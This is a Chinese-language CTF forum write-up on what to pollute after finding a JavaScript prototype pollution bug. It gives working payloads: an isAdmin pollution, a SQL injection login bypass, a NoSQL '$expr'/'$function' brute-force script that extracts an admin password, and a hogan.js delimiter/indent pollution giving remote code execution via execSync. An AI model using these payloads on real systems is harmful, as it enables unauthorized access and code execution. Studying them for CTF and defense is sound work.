CTF中原型链污染位点探究
你回来吗 发表于 黑龙江 CTF 1642浏览 · 2024-02-08 06:15

原型链污染位点探究

Background

随着原型链漏洞的考点已经被挖的差不多了,更多题目中现在考察的都是怎么使用原型链污染,也就是该污染什么。本文来简单整理下

前置知识点

解释什么是原型的文章太多了,我这里就说下什么时候能原型链污染,数组(对象)的“键名”可控时候,设置__proto__的值,而最常见的控制键名的操作就是merge函数,如果一个库里有merge函数,我们就可以多注意一下

污染特定属性

其实污染属性只是基础,很多时候我们要污染属性来进行下一步,简单的题目可以直接一步污染

比如

{
  "__proto__": {
    "isAdmin": "true"
  }
}

来把某些低权用户变成admin

某道xss的题目 漏洞代码如下

app.post('/register', (req, res) => {
    const username = req.body.username + '';
    const password = req.body.password + '';
    const country = req.body.country + ''

    if (username.length > 0 && password.length > 0 && country.length > 0 && username != ADMIN_ID) {
        const user = {password: password, country: country, content: 'hello', viewtime: dayjs(getRandomDateTime()), checked: false};
        accounts[username] = user;
        res.send(`<script>location.href='/login';</script>`);
    } else {
        res.send(`<script>alert('fail');history.back();</script>`);
    }

});
app.post('/write', (req, res) => {
    if (req.session && req.session.username) {
        const username = req.session.username;
        const content = req.body.content + '';
        const minutes = parseInt(req.body.minutes);
        const seconds = parseInt(req.body.seconds);

        if (0 <= minutes && minutes < 60 && 0 <= seconds && seconds < 60 ) {
            accounts[username].content = content;
            if (accounts[username].checked) {
                accounts[username].viewtime = dayjs().add(seconds, 'second').add(minutes, 'minute');
            }

            res.send(`<script>location.href='/view?username='+'${username}';</script>`);
        } else {
            res.send(`<script>alert('fail');history.back();</script>`);
        }
    } else {
        res.send(`<script>alert('fail');history.back();</script>`);
    }
});
app.get('/clear', isAdmin, (req, res) => {
    if (req.session?.username === 'clear_account') {
        accounts = {};
        ADMIN_PS = crypto.randomBytes(30).toString('hex');
        accounts[ADMIN_ID] = {'password': ADMIN_PS, country: 'ko', content: 'hello', viewtime: dayjs(), checked: true};
        res.send(`<script>history.back();</script>`);
    } else {        
        res.send(`<script>alert('fail');history.back();</script>`);
    }
});

app.get('/check', (req, res) => {
    if (req.session.username && accounts[req.session.username].viewtime.format('YYYY-MM-DD HH:mm:ss') === req.query?.day + '') {
        accounts[req.session.username].checked = true;
        res.send(`<script>history.back();</script>`);
    } else {        
        res.send(`<script>alert('fail');history.back();</script>`);
    }
});

阅读代码 发现功能点 我们现在想要check为true,需要知道一个viewtime

如果在创建内容后将__proto__清除为用户名,将 country 清除为内容,就会导致写入内容时出现原型链污染。因此,viewtime 可能会泄露

当然比较有意思的一点,如果country设置为不存在的国家 在js里出现undefined 会以 ISO 8601 格式显示,可以避开原型链污染

污染进行SQL注入

在刚刚结束的DiceCTF中 有这么一道题

app.post("/api/login", (req, res) => {
    const { user, pass } = req.body;

    const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
    try {
        const id = db.prepare(query).get()?.id;
        if (!id) {
            return res.redirect("/?message=Incorrect username or password");
        }

        if (users[id] && isAdmin[user]) {
            return res.redirect("/?flag=" + encodeURIComponent(FLAG));
        }
        return res.redirect("/?message=This system is currently only available to admins...");
    }
    catch {
        return res.redirect("/?message=Nice try...");
    }
});

isAdmin[user]) 有个admin判断来获取flag

如果我们设置用户名为isAdmin[__prototype__]=true 就可以了

username: __prototype__ password: 1' or id=1; -

可以成功获得flag

某个圣诞节比赛中其中有这么一段代码

可以看到使用了JSON.parse __proto__会被认为是一个真正的“键名”

我搜索了flag相关字样,发现在admin services中提到了flag,也就是我们要成为admin

所以可以很简单的识别出可能需要知道admin的密码,也很容易想到可以尝试sql注入,在这里用了mongodb,所以可以想到通过nosql进行注入

但validate里检查用户的账号密码是否存在

@Injectable()
export class ValidationService {
  async validateData(dtoClass: any, data: any): Promise<any> {
    console.log(data);
    try {
      const target = plainToClass(dtoClass, data);
      const errors = await validate(target);
      console.log(errors);
      if (errors.length > 0) {
        return false;
      }
      return target;
    } catch (error) {
      // error occured
      return false;
    }
  }
}

validate会检查用户和密码是否存在,将密码设置为{}.proto即可继续注入,最后,虽然设置了过滤$where,但通过搜索可以看到,其实可以使用$expr的形式 官方poc大致如下

for bf in range(32):
    for i in '0123456789abcdef':
        r = post(f'{URL}/user/login', data={
            'username': 'admin", "__proto__": {"a":"haha',
            'password': 'testpw"}, "$expr": \
                {\
                    "$function":\
                    {\
                        "body": "function(pw) { return pw['+ str(bf) +'] == \''+ i +'\' }",\
                        "args": ["$password"],\
                        "lang": "js"\
                    }\
                }, "username": "admin'.replace(' ', '').replace('returnpw', 'return pw')
        }).json()

        if r['statusCode'] == 403:
            adminPW += i
            print(adminPW)
            break

污染模版内容rce

常见的ejs rce太多了,大家可以自己搜索

我这里提一个比较有意思的hogan模板

const express = require("express");
const { open } = require("sqlite");
const sqlite = require("sqlite3");
const hogan = require("hogan.js");

const app = express();
app.use((req, res, next) => {
  res.setHeader("connection", "close");
  next();
});
app.use(express.urlencoded({ extended: true }));

const loadDb = () => {
  return open({
    driver: sqlite.Database,
    filename: "./data.sqlite",
  });
};

const defaults = {
  city: "*",
};

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

  return obj1;
};

const TEMPLATE = `
<table border="1">
  <thead>
    <tr>
      <th>City</th>
      <th>Pollution index</th>
      <th>Year</th>
    </tr>
  </thead>
  <tbody>
  {{#data}}
    <tr>
      <td>{{city}}</td>
      <td>{{pollution}}</td>
      <td>{{year}}</td>
    </tr>
  {{/data}}
  {{^data}}
    Nothing found
  {{/data}}
  </tbody>
</table>
`;

app.post("/get-data", async (req, res) => {
  const db = await loadDb();
  const reqFilter = req.body;
  const filter = {};
  merge(filter, defaults);
  merge(filter, reqFilter);

  const template = hogan.compile(TEMPLATE);

  const conditions = [];
  const params = [];
  if (filter.city && filter.city !== "*") {
    conditions.push(`city LIKE '%' || ? || '%'`);
    params.push(filter.city);
  }

  if (filter.year) {
    conditions.push("(year = ?)");
    params.push(filter.year);
  }

  const query = `SELECT * FROM data ${
    conditions.length > 0 ? `WHERE ${conditions.join(" AND ")}` : ""
  }`;
  const data = await db.all(query, params);
  try {
    return res.send(template.render({ data }));
  } catch (ex) {
  } finally {
    await db.close();
  }
  const f = `return ${template}`;
  try {
    res.json({ error: Function(f)() });
  } catch (ex) {
    res.json({ error: ex + "" });
  }
});

app.use(express.static("./public"));

app.listen(1339, () => {
  console.log(`Listening on http://localhost:1339`);
});

关注这段代码

const UNSAFE_KEYS = ["__proto__", "constructor", "prototype"];

const merge = (obj1, obj2) => {
  for (let key of Object.keys(obj2)) {
    if (UNSAFE_KEYS.includes(key)) continue;
    const val = obj2[key];
    key = key.trim();
    if (typeof obj1[key] !== "undefined" && typeof val === "object") {
      obj1[key] = merge(obj1[key], val);
    } else {
      obj1[key] = val;
    }
  }

可以看到实际上进行的merge,就会造成键名可控 意思是

{
  "__proto__ ": {
    "polluted": "test"
  }
}

我们如果如上输入,就可以进行污染

而上面UNSAFE_KEYS的检查可以很简单的通过一个空格来跳过

那就可以来研究hogan了

在这里 允许我们将代码直接注入到通过污染生成的代码中Object.prototype.indent

function createPartial(node, context) {
  var prefix = "<" + (context.prefix || "");
  var sym = prefix + node.n + serialNo++;
  context.partials[sym] = {name: node.n, partials: {}};
  context.code += 't.b(t.rp("' +  esc(sym) + '",c,p,"' + (node.indent || '') + '"));'; // [2]
  return sym;
}

但是我们function没法使用

hogan中指定自定义分隔符options.delimiters,我们可以通过 polluting 来设置Object.prototype.delimiters

我们来看下具体内容

Hogan.compile = function(text, options) {
  options = options || {};
  ...
  template = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
  return this.cache[key] = template;
}

Hogan.scan = function scan(text, delimiters) { // this parses the template into AST
  ...
  if (delimiters) {
    delimiters = delimiters.split(' ');
    otag = delimiters[0];
    ctag = delimiters[1];
  }
  ...
}

options.delimiters被传递到Hogan.scan(),它从 派生出开始标记标记 ( otag) 和结束标记标记 ( ctag) options.delimiter

那就说找到一个>就可以在周围解析代码,因为题目中给了一段html代码,所以找到太容易了

__proto__ [delimiters]=tr %0a'
__proto__ [indent]=/*"));return process.mainModule.require(`child_process`).execSync(`/flag`).toString()//*/

这样设置即可rce

0 条评论
某人
表情
可输入 255